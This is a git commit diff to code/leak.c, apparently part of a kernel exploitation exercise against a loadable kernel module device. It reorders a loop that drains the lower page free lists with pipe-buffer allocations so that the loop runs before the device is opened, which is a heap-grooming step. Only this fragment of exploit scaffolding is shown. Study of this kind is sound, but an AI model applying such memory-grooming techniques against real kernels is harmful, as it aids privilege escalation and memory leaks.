drain before loading
This commit is contained in:
parent
731e8a3958
commit
0d4b45391a
1 changed files with 6 additions and 6 deletions
12
code/leak.c
12
code/leak.c
|
@ -23,6 +23,12 @@ main(void)
|
||||||
printf("main: start\n");
|
printf("main: start\n");
|
||||||
FILE *device = fopen(LKM_DEVICE, "r+");
|
FILE *device = fopen(LKM_DEVICE, "r+");
|
||||||
|
|
||||||
|
printf("main: draining lower page free lists: %u objects\n",
|
||||||
|
PIPE_BUFFER);
|
||||||
|
for (size_t i = 0; i < PIPE_BUFFER; i++) {
|
||||||
|
allocation_primitive(pipes[i]);
|
||||||
|
}
|
||||||
|
|
||||||
printf("main: fopen: %p\n", device);
|
printf("main: fopen: %p\n", device);
|
||||||
if (!device) {
|
if (!device) {
|
||||||
printf(
|
printf(
|
||||||
|
@ -31,12 +37,6 @@ main(void)
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("main: draining lower page free lists: %u objects\n",
|
|
||||||
PIPE_BUFFER);
|
|
||||||
for (size_t i = 0; i < PIPE_BUFFER; i++) {
|
|
||||||
allocation_primitive(pipes[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
fclose(device);
|
fclose(device);
|
||||||
printf("main: done\n");
|
printf("main: done\n");
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Reference in a new issue